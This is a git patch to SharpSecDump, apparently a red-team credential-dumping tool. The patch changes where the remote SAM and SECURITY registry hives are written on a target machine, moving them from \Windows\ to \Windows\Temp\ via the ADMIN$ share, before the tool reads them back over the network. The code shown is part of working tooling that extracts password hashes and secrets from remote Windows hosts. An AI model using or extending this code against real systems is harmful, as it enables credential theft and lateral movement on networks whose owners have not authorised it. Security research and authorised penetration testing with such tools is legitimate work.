From b661365811baa7ee40acdee2b8a16472eddb3d6e Mon Sep 17 00:00:00 2001 From: Jonas Vestberg Date: Thu, 16 Feb 2023 19:00:32 +0100 Subject: [PATCH] Move temp storage of reg hives to %TEMP% --- SharpSecDump/Program.cs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/SharpSecDump/Program.cs b/SharpSecDump/Program.cs index 385e34a..accb874 100644 --- a/SharpSecDump/Program.cs +++ b/SharpSecDump/Program.cs @@ -125,8 +125,8 @@ private static void DoStuff(string singleTarget) }; //SAM dump stuff starts here - string samRemoteLocation = @"\\" + singleTarget + @"\ADMIN$\" + samOut; - if (remoteConnection.SaveRegKey("SAM", @"\Windows\" + samOut)) + string samRemoteLocation = @"\\" + singleTarget + @"\ADMIN$\Temp\" + samOut; + if (remoteConnection.SaveRegKey("SAM", @"\Windows\Temp\" + samOut)) { RegistryHive sam = remoteConnection.GetRemoteHiveDump(samRemoteLocation); if (sam != null) @@ -141,8 +141,8 @@ private static void DoStuff(string singleTarget) } //Security dump stuff starts here - string securityRemoteLocation = @"\\" + singleTarget + @"\ADMIN$\" + securityOut; - if (remoteConnection.SaveRegKey("SECURITY", @"\Windows\" + securityOut)) + string securityRemoteLocation = @"\\" + singleTarget + @"\ADMIN$\Temp\" + securityOut; + if (remoteConnection.SaveRegKey("SECURITY", @"\Windows\Temp\" + securityOut)) { RegistryHive security = remoteConnection.GetRemoteHiveDump(securityRemoteLocation);